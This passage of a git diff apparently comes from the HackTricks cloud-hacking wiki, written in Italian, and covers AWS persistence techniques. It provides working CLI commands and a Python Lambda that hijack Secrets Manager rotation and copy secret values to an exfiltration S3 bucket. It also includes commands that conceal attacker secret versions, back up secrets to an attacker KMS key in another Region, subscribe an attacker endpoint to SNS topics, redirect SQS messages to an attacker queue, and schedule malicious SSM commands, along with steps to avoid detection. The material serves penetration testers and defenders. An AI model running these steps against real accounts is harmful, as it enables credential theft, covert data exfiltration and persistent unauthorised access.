- `aws secretsmanager rotate-secret --secret-id <SECRET_ARN> --rotation-lambda-arn <ATTACKER_LAMBDA_ARN> --rotation-rules '{"ScheduleExpression":"rate(10 days)"}' --rotate-immediately`
|
||||
4) Verify exfiltration by listing the S3 prefix for that secret and inspecting the JSON artifacts.
|
||||
5) (Optional) Restore the original rotation Lambda to reduce detection.
|
||||
|
||||
- Example attacker Lambda (Python) exfiltrating to S3
|
||||
- Environment: `EXFIL_BUCKET=<bucket>`
|
||||
- Handler: `lambda_function.lambda_handler`
|
||||
```python
|
||||
import boto3, json, os, base64, datetime
|
||||
s3 = boto3.client('s3')
|
||||
sm = boto3.client('secretsmanager')
|
||||
BUCKET = os.environ['EXFIL_BUCKET']
|
||||
|
||||
def write_s3(key, data):
|
||||
s3.put_object(Bucket=BUCKET, Key=key, Body=json.dumps(data).encode('utf-8'), ContentType='application/json')
|
||||
|
||||
def lambda_handler(event, context):
|
||||
sid, token, step = event['SecretId'], event['ClientRequestToken'], event['Step']
|
||||
# Exfil both stages best-effort
|
||||
def getv(**kw):
|
||||
try:
|
||||
r = sm.get_secret_value(**kw)
|
||||
return {'SecretString': r.get('SecretString')} if 'SecretString' in r else {'SecretBinary': base64.b64encode(r['SecretBinary']).decode('utf-8')}
|
||||
except Exception as e:
|
||||
return {'error': str(e)}
|
||||
current = getv(SecretId=sid, VersionStage='AWSCURRENT')
|
||||
pending = getv(SecretId=sid, VersionStage='AWSPENDING')
|
||||
key = f"{sid.replace(':','_')}/{step}/{token}.json"
|
||||
write_s3(key, {'time': datetime.datetime.utcnow().strftime('%Y-%m-%dT%H:%M:%SZ'), 'step': step, 'secret_id': sid, 'token': token, 'current': current, 'pending': pending})
|
||||
# Minimal rotation (optional): copy current->pending and promote in finishSecret
|
||||
# (Implement createSecret/finishSecret using PutSecretValue and UpdateSecretVersionStage)
|
||||
```
|
||||
### Version Stage Hijacking for Covert Persistence (custom stage + fast AWSCURRENT flip)
|
||||
|
||||
Abusa delle etichette di staging delle versioni di Secrets Manager per inserire una versione del secret controllata dall'attaccante e tenerla nascosta sotto uno stage personalizzato (per esempio, `ATTACKER`) mentre la produzione continua a usare l'originale `AWSCURRENT`. In qualsiasi momento, sposta `AWSCURRENT` sulla versione dell'attaccante per avvelenare i workload dipendenti, quindi ripristinalo per ridurre al minimo il rilevamento. Questo fornisce una persistenza backdoor furtiva e una rapida manipolazione del time-of-use senza cambiare il nome del secret o la configurazione di rotazione.
|
||||
|
||||
- Requisiti
|
||||
- Autorizzazioni: `secretsmanager:PutSecretValue`, `secretsmanager:UpdateSecretVersionStage`, `secretsmanager:DescribeSecret`, `secretsmanager:ListSecretVersionIds`, `secretsmanager:GetSecretValue` (per verifica)
|
||||
- ID del secret di destinazione nella Region.
|
||||
|
||||
- Impatto
|
||||
- Mantenere una versione nascosta e controllata dall'attaccante di un secret e commutare in modo atomico `AWSCURRENT` su di essa su richiesta, influenzando qualsiasi consumer che risolva lo stesso nome del secret. La commutazione e il rapido ripristino riducono la probabilità di rilevamento pur consentendo una compromissione al momento dell'uso.
|
||||
|
||||
- Passaggi dell'attacco (CLI)
|
||||
- Preparazione
|
||||
- `export SECRET_ID=<target secret id or arn>`
|
||||
|
||||
<details>
|
||||
<summary>Comandi CLI</summary>
|
||||
```bash
|
||||
# 1) Capture current production version id (the one holding AWSCURRENT)
|
||||
CUR=$(aws secretsmanager list-secret-version-ids \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--query "Versions[?contains(VersionStages, AWSCURRENT)].VersionId | [0]" \
|
||||
--output text)
|
||||
|
||||
# 2) Create attacker version with known value (this will temporarily move AWSCURRENT)
|
||||
BACKTOK=$(uuidgen)
|
||||
aws secretsmanager put-secret-value \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--client-request-token "$BACKTOK" \
|
||||
--secret-string {backdoor:hunter2!}
|
||||
|
||||
# 3) Restore production and hide attacker version under custom stage
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage ATTACKER \
|
||||
--move-to-version-id "$BACKTOK"
|
||||
|
||||
# Verify stages
|
||||
aws secretsmanager list-secret-version-ids --secret-id "$SECRET_ID" --include-deprecated
|
||||
|
||||
# 4) On-demand flip to the attacker’s value and revert quickly
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$BACKTOK" \
|
||||
--remove-from-version-id "$CUR"
|
||||
|
||||
# Validate served plaintext now equals the attacker payload
|
||||
aws secretsmanager get-secret-value --secret-id "$SECRET_ID" --query SecretString --output text
|
||||
|
||||
# Revert to reduce detection
|
||||
aws secretsmanager update-secret-version-stage \
|
||||
--secret-id "$SECRET_ID" \
|
||||
--version-stage AWSCURRENT \
|
||||
--move-to-version-id "$CUR" \
|
||||
--remove-from-version-id "$BACKTOK"
|
||||
```
|
||||
</details>
|
||||
|
||||
- Note
|
||||
- Quando fornisci `--client-request-token`, Secrets Manager lo usa come `VersionId`. Aggiungere una nuova versione senza impostare esplicitamente `--version-stages` sposta `AWSCURRENT` alla nuova versione per impostazione predefinita e marca quella precedente come `AWSPREVIOUS`.
|
||||
|
||||
|
||||
### Cross-Region Replica Promotion Backdoor (replicate ➜ promote ➜ permissive policy)
|
||||
|
||||
Abusa della replication multi-Region di Secrets Manager per creare una replica di un secret target in una Region meno monitorata, crittografarla con una chiave KMS controllata dall'attaccante in quella Region, quindi promuovere la replica a secret standalone e allegare una resource policy permissiva che conceda all'attaccante l'accesso in lettura. Il secret originale nella Region primaria resta invariato, fornendo un accesso duraturo e furtivo al valore del secret tramite la replica promossa, aggirando i vincoli KMS/policy sulla primaria.
|
||||
|
||||
- Requisiti
|
||||
- Permissions: `secretsmanager:ReplicateSecretToRegions`, `secretsmanager:StopReplicationToReplica`, `secretsmanager:PutResourcePolicy`, `secretsmanager:GetResourcePolicy`, `secretsmanager:DescribeSecret`.
|
||||
- Nella replica Region: `kms:CreateKey`, `kms:CreateAlias`, `kms:CreateGrant` (o `kms:PutKeyPolicy`) per permettere al principal attaccante `kms:Decrypt`.
|
||||
- Un principal attaccante (user/role) che riceva accesso in lettura al secret promosso.
|
||||
|
||||
- Impatto
|
||||
- Percorso di accesso cross-Region persistente al valore del secret tramite una replica standalone sotto un CMK KMS controllato dall'attaccante e una resource policy permissiva. Il secret primario nella Region originale resta intatto.
|
||||
|
||||
- Attacco (CLI)
|
||||
- Variabili
|
||||
```bash
|
||||
export R1=<primary-region> # e.g., us-east-1
|
||||
export R2=<replica-region> # e.g., us-west-2
|
||||
export SECRET_ID=<secret name or ARN in R1>
|
||||
export ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text)
|
||||
export ATTACKER_ARN=<arn:aws:iam::<ACCOUNT_ID>:user/<attacker> or role>
|
||||
```
|
||||
1) Crea attacker-controlled KMS key nella replica Region
|
||||
```bash
|
||||
cat > /tmp/kms_policy.json <<'JSON'
|
||||
{"Version":"2012-10-17","Statement":[
|
||||
{"Sid":"EnableRoot","Effect":"Allow","Principal":{"AWS":"arn:aws:iam::${ACCOUNT_ID}:root"},"Action":"kms:*","Resource":"*"}
|
||||
]}
|
||||
JSON
|
||||
KMS_KEY_ID=$(aws kms create-key --region "$R2" --description "Attacker CMK for replica" --policy file:///tmp/kms_policy.json \
|
||||
--query KeyMetadata.KeyId --output text)
|
||||
aws kms create-alias --region "$R2" --alias-name alias/attacker-sm --target-key-id "$KMS_KEY_ID"
|
||||
# Allow attacker to decrypt via a grant (or use PutKeyPolicy to add the principal)
|
||||
aws kms create-grant --region "$R2" --key-id "$KMS_KEY_ID" --grantee-principal "$ATTACKER_ARN" --operations Decrypt DescribeKey
|
||||
```
|
||||
2) Replicare il secret su R2 usando la attacker KMS key
|
||||
```bash
|
||||
aws secretsmanager replicate-secret-to-regions --region "$R1" --secret-id "$SECRET_ID" \
|
||||
--add-replica-regions Region=$R2,KmsKeyId=alias/attacker-sm --force-overwrite-replica-secret
|
||||
aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" | jq '.ReplicationStatus'
|
||||
```
|
||||
3) Promuovere la replica a standalone in R2
|
||||
```bash
|
||||
# Use the secret name (same across Regions)
|
||||
NAME=$(aws secretsmanager describe-secret --region "$R1" --secret-id "$SECRET_ID" --query Name --output text)
|
||||
aws secretsmanager stop-replication-to-replica --region "$R2" --secret-id "$NAME"
|
||||
aws secretsmanager describe-secret --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
4) Allega una resource policy permissiva sul secret standalone in R2
|
||||
```bash
|
||||
cat > /tmp/replica_policy.json <<JSON
|
||||
{"Version":"2012-10-17","Statement":[{"Sid":"AttackerRead","Effect":"Allow","Principal":{"AWS":"${ATTACKER_ARN}"},"Action":["secretsmanager:GetSecretValue"],"Resource":"*"}]}
|
||||
JSON
|
||||
aws secretsmanager put-resource-policy --region "$R2" --secret-id "$NAME" --resource-policy file:///tmp/replica_policy.json --block-public-policy
|
||||
aws secretsmanager get-resource-policy --region "$R2" --secret-id "$NAME"
|
||||
```
|
||||
5) Leggi il secret dal principal dell'attaccante in R2
|
||||
```bash
|
||||
# Configure attacker credentials and read
|
||||
aws secretsmanager get-secret-value --region "$R2" --secret-id "$NAME" --query SecretString --output text
|
||||
```
|
||||
|
||||
@@ -1,77 +0,0 @@
|
||||
# AWS - SNS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
|
||||
Quando crei un **argomento SNS** devi indicare con una policy IAM **chi ha accesso a leggere e scrivere**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\
|
||||
La seguente policy consente a chiunque in AWS di leggere e scrivere nell'argomento SNS chiamato **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Crea Sottoscrittori
|
||||
|
||||
Per continuare a esfiltrare tutti i messaggi da tutti gli argomenti, l'attaccante potrebbe **creare sottoscrittori per tutti gli argomenti**.
|
||||
|
||||
Nota che se l'**argomento è di tipo FIFO**, solo i sottoscrittori che utilizzano il protocollo **SQS** possono essere utilizzati.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,113 @@
|
||||
# AWS - SNS Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SNS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistenza
|
||||
|
||||
Quando si crea un **SNS topic** è necessario indicare con una IAM policy **chi ha accesso in lettura e scrittura**. È possibile indicare account esterni, ARN di role, o **perfino "\*"**.\
|
||||
La seguente policy concede a chiunque in AWS l'accesso in lettura e scrittura al SNS topic chiamato **`MySNS.fifo`**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__default_statement_ID",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": [
|
||||
"SNS:Publish",
|
||||
"SNS:RemovePermission",
|
||||
"SNS:SetTopicAttributes",
|
||||
"SNS:DeleteTopic",
|
||||
"SNS:ListSubscriptionsByTopic",
|
||||
"SNS:GetTopicAttributes",
|
||||
"SNS:AddPermission",
|
||||
"SNS:Subscribe"
|
||||
],
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo",
|
||||
"Condition": {
|
||||
"StringEquals": {
|
||||
"AWS:SourceOwner": "318142138553"
|
||||
}
|
||||
}
|
||||
},
|
||||
{
|
||||
"Sid": "__console_pub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Publish",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
},
|
||||
{
|
||||
"Sid": "__console_sub_0",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": "SNS:Subscribe",
|
||||
"Resource": "arn:aws:sns:us-east-1:318142138553:MySNS.fifo"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Creare Subscribers
|
||||
|
||||
Per continuare a exfiltrating tutti i messaggi da tutti i topic, un attacker potrebbe **creare subscribers per tutti i topic**.
|
||||
|
||||
Nota che se il **topic è di tipo FIFO**, solo subscribers che usano il protocollo **SQS** possono essere utilizzati.
|
||||
```bash
|
||||
aws sns subscribe --region <region> \
|
||||
--protocol http \
|
||||
--notification-endpoint http://<attacker>/ \
|
||||
--topic-arn <arn>
|
||||
```
|
||||
### Esfiltrazione covert e selettiva tramite FilterPolicy su MessageBody
|
||||
|
||||
Un attaccante con `sns:Subscribe` e `sns:SetSubscriptionAttributes` su un topic può creare una subscription SQS furtiva che inoltra solo i messaggi il cui body JSON corrisponde a un filtro molto restrittivo (per esempio, `{"secret":"true"}`). Questo riduce il volume e la possibilità di rilevazione mantenendo comunque l'esfiltrazione di record sensibili.
|
||||
|
||||
**Potential Impact**: Esfiltrazione covert e a basso rumore di soli messaggi SNS mirati da un topic vittima.
|
||||
|
||||
Steps (AWS CLI):
|
||||
- Assicurarsi che la policy della coda SQS dell'attaccante permetta `sqs:SendMessage` dal `TopicArn` della vittima (Condition `aws:SourceArn` uguale al `TopicArn`).
|
||||
- Creare la subscription SQS al topic:
|
||||
|
||||
```bash
|
||||
aws sns subscribe --region us-east-1 --topic-arn TOPIC_ARN --protocol sqs --notification-endpoint ATTACKER_Q_ARN
|
||||
```
|
||||
|
||||
- Impostare il filtro in modo che operi sul message body e corrisponda solo a `secret=true`:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicyScope --attribute-value MessageBody
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name FilterPolicy --attribute-value '{"secret":["true"]}'
|
||||
```
|
||||
|
||||
- Stealth opzionale: abilitare RawMessageDelivery così che solo il payload raw arrivi al ricevente:
|
||||
|
||||
```bash
|
||||
aws sns set-subscription-attributes --region us-east-1 --subscription-arn SUB_ARN --attribute-name RawMessageDelivery --attribute-value true
|
||||
```
|
||||
|
||||
- Validazione: pubblicare due messaggi e confermare che solo il primo venga recapitato nella coda dell'attaccante. Esempi di payload:
|
||||
|
||||
```json
|
||||
{"secret":"true","data":"exfil"}
|
||||
{"secret":"false","data":"benign"}
|
||||
```
|
||||
|
||||
- Cleanup: unsubscribe e cancellare la coda SQS dell'attaccante se creata per i test di persistence.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,37 +0,0 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Utilizzando la policy delle risorse
|
||||
|
||||
In SQS è necessario indicare con una policy IAM **chi ha accesso a leggere e scrivere**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\
|
||||
La seguente policy consente a chiunque in AWS di accedere a tutto nella coda chiamata **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Potresti anche **attivare una Lambda nell'account degli attaccanti ogni volta che un nuovo messaggio** viene messo nella coda (dovresti rimetterlo) in qualche modo. Per questo segui queste istruzioni: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,47 @@
|
||||
# AWS - SQS Persistence
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SQS
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-sqs-and-sns-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Uso della resource policy
|
||||
|
||||
In SQS devi indicare con una IAM policy **chi ha accesso in lettura e scrittura**. È possibile indicare account esterni, ARN di ruoli, o **anche "\*"**.\
|
||||
La seguente policy concede a chiunque in AWS l'accesso a tutto nella queue chiamata **MyTestQueue**:
|
||||
```json
|
||||
{
|
||||
"Version": "2008-10-17",
|
||||
"Id": "__default_policy_ID",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "__owner_statement",
|
||||
"Effect": "Allow",
|
||||
"Principal": {
|
||||
"AWS": "*"
|
||||
},
|
||||
"Action": ["SQS:*"],
|
||||
"Resource": "arn:aws:sqs:us-east-1:123123123123:MyTestQueue"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
> [!NOTE]
|
||||
> Potresti anche **attivare una Lambda nell'account dell'attaccante ogni volta che viene inserito un nuovo messaggio** nella coda (dovresti reinserirlo). Per questo segui queste istruzioni: [https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html](https://docs.aws.amazon.com/lambda/latest/dg/with-sqs-cross-account-example.html)
|
||||
|
||||
### Altre tecniche di persistenza per SQS
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-dlq-backdoor-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
{{#ref}}
|
||||
aws-sqs-orgid-policy-backdoor.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,71 @@
|
||||
# AWS - SQS DLQ Backdoor Persistence via RedrivePolicy/RedriveAllowPolicy
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusa delle SQS Dead-Letter Queues (DLQs) per sottrarre furtivamente dati da una victim source queue puntando la sua RedrivePolicy verso una queue controllata dall'attacker. Con un basso maxReceiveCount e inducendo o aspettando normali fallimenti di elaborazione, i messaggi vengono automaticamente deviati verso l'attacker DLQ senza modificare i producers o i Lambda event source mappings.
|
||||
|
||||
## Abused Permissions
|
||||
- sqs:SetQueueAttributes on the victim source queue (per impostare RedrivePolicy)
|
||||
- sqs:SetQueueAttributes on the attacker DLQ (per impostare RedriveAllowPolicy)
|
||||
- Optional for acceleration: sqs:ReceiveMessage on the source queue
|
||||
- Optional for setup: sqs:CreateQueue, sqs:SendMessage
|
||||
|
||||
## Same-Account Flow (allowAll)
|
||||
|
||||
Preparation (attacker account or compromised principal):
|
||||
```bash
|
||||
REGION=us-east-1
|
||||
# 1) Create attacker DLQ
|
||||
ATTACKER_DLQ_URL=$(aws sqs create-queue --queue-name ht-attacker-dlq --region $REGION --query QueueUrl --output text)
|
||||
ATTACKER_DLQ_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_DLQ_URL" --region $REGION --attribute-names QueueArn --query Attributes.QueueArn --output text)
|
||||
|
||||
# 2) Allow any same-account source queue to use this DLQ
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"allowAll\"}"}'
|
||||
```
|
||||
Esecuzione (eseguito come principal compromesso nell'account della vittima):
|
||||
```bash
|
||||
# 3) Point victim source queue to attacker DLQ with low retries
|
||||
VICTIM_SRC_URL=<victim source queue url>
|
||||
ATTACKER_DLQ_ARN=<attacker dlq arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--attributes '{"RedrivePolicy":"{\"deadLetterTargetArn\":\"'"$ATTACKER_DLQ_ARN"'\",\"maxReceiveCount\":\"1\"}"}'
|
||||
```
|
||||
Accelerazione (opzionale):
|
||||
```bash
|
||||
# 4) If you also have sqs:ReceiveMessage on the source queue, force failures
|
||||
for i in {1..2}; do \
|
||||
aws sqs receive-message --queue-url "$VICTIM_SRC_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --visibility-timeout 0; \
|
||||
done
|
||||
```
|
||||
Validazione:
|
||||
```bash
|
||||
# 5) Confirm messages appear in attacker DLQ
|
||||
aws sqs receive-message --queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--max-number-of-messages 10 --attribute-names All --message-attribute-names All
|
||||
```
|
||||
Esempio di evidenza (gli attributi includono DeadLetterQueueSourceArn):
|
||||
```json
|
||||
{
|
||||
"MessageId": "...",
|
||||
"Body": "...",
|
||||
"Attributes": {
|
||||
"DeadLetterQueueSourceArn": "arn:aws:sqs:REGION:ACCOUNT_ID:ht-victim-src-..."
|
||||
}
|
||||
}
|
||||
```
|
||||
## Cross-Account Variant (byQueue)
|
||||
Imposta RedriveAllowPolicy sul attacker DLQ per consentire solo specifici victim source queue ARNs:
|
||||
```bash
|
||||
VICTIM_SRC_ARN=<victim source queue arn>
|
||||
aws sqs set-queue-attributes \
|
||||
--queue-url "$ATTACKER_DLQ_URL" --region $REGION \
|
||||
--attributes '{"RedriveAllowPolicy":"{\"redrivePermission\":\"byQueue\",\"sourceQueueArns\":[\"'"$VICTIM_SRC_ARN"'\"]}"}'
|
||||
```
|
||||
## Impatto
|
||||
- Esfiltrazione/persistenza di dati furtiva e duratura deviando automaticamente i messaggi non recapitati da una SQS source queue vittima in una DLQ controllata dall'attaccante, con minimo rumore operativo e senza modifiche ai producers o alle Lambda mappings.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,38 @@
|
||||
# AWS - SQS OrgID Policy Backdoor
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Abusare di una resource policy di SQS per concedere silenziosamente Send, Receive e ChangeMessageVisibility a qualsiasi principal che appartenga a una target AWS Organization utilizzando la condizione aws:PrincipalOrgID. Questo crea un org-scoped hidden path che spesso sfugge ai controlli che cercano solo ARNs di account o role espliciti o star principals.
|
||||
|
||||
### Backdoor policy (allegare alla SQS queue policy)
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
"Sid": "OrgScopedBackdoor",
|
||||
"Effect": "Allow",
|
||||
"Principal": "*",
|
||||
"Action": [
|
||||
"sqs:ReceiveMessage",
|
||||
"sqs:SendMessage",
|
||||
"sqs:ChangeMessageVisibility",
|
||||
"sqs:GetQueueAttributes"
|
||||
],
|
||||
"Resource": "arn:aws:sqs:REGION:ACCOUNT_ID:QUEUE_NAME",
|
||||
"Condition": {
|
||||
"StringEquals": { "aws:PrincipalOrgID": "o-xxxxxxxxxx" }
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
### Passaggi
|
||||
- Ottieni l'Organization ID tramite AWS Organizations API.
|
||||
- Recupera l'SQS queue ARN e imposta la queue policy includendo la dichiarazione sopra.
|
||||
- Da qualsiasi principal che appartenga a quell'Organization, invia e ricevi un messaggio nella queue per convalidare l'accesso.
|
||||
|
||||
### Impatto
|
||||
- Accesso nascosto a livello di Organization per leggere e scrivere messaggi SQS da qualsiasi account nella AWS Organization specificata.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,27 +0,0 @@
|
||||
# AWS - SSM Perssitence
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Utilizzando ssm:CreateAssociation per la persistenza
|
||||
|
||||
Un attaccante con il permesso **`ssm:CreateAssociation`** può creare un'Associazione del Gestore di Stato per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste associazioni possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a una backdoor senza sessioni interattive.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Questo metodo di persistenza funziona finché l'istanza EC2 è gestita da Systems Manager, l'agente SSM è in esecuzione e l'attaccante ha il permesso di creare associazioni. Non richiede sessioni interattive o permessi espliciti ssm:SendCommand. **Importante:** Il parametro `--schedule-expression` (ad esempio, `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per l'esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'associazione verrà eseguita una volta dopo la creazione.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
@@ -0,0 +1,27 @@
|
||||
# AWS - SSM Persistenza
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSM
|
||||
|
||||
Per maggiori informazioni consulta:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/README.md
|
||||
{{#endref}}
|
||||
|
||||
### Utilizzo di ssm:CreateAssociation per la persistenza
|
||||
|
||||
Un attaccante con il permesso **`ssm:CreateAssociation`** può creare una State Manager Association per eseguire automaticamente comandi su istanze EC2 gestite da SSM. Queste State Manager Association possono essere configurate per essere eseguite a intervalli fissi, rendendole adatte per una persistenza simile a backdoor senza sessioni interattive.
|
||||
```bash
|
||||
aws ssm create-association \
|
||||
--name SSM-Document-Name \
|
||||
--targets Key=InstanceIds,Values=target-instance-id \
|
||||
--parameters commands=["malicious-command"] \
|
||||
--schedule-expression "rate(30 minutes)" \
|
||||
--association-name association-name
|
||||
```
|
||||
> [!NOTE]
|
||||
> Questo metodo di persistence funziona fintanto che l'istanza EC2 è gestita da Systems Manager, l'SSM agent è in esecuzione, e l'attaccante ha il permesso di creare associations. Non richiede sessioni interattive o permessi espliciti ssm:SendCommand. **Importante:** Il parametro `--schedule-expression` (es. `rate(30 minutes)`) deve rispettare l'intervallo minimo di 30 minuti di AWS. Per esecuzione immediata o una tantum, omettere completamente `--schedule-expression` — l'association verrà eseguita una volta dopo la creazione.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
@@ -1,21 +0,0 @@
|
||||
# AWS - Persistenza delle Funzioni Step
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Funzioni Step
|
||||
|
||||
Per ulteriori informazioni controlla:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-stepfunctions-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Backdooring delle funzioni step
|
||||
|
||||
Backdoor una funzione step per farla eseguire qualsiasi trucco di persistenza in modo che ogni volta che viene eseguita, eseguirà i tuoi passaggi malevoli.
|
||||
|
||||
### Backdooring degli alias
|
||||
|
||||
Se l'account AWS utilizza alias per chiamare le funzioni step, sarebbe possibile modificare un alias per utilizzare una nuova versione backdoor della funzione step.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
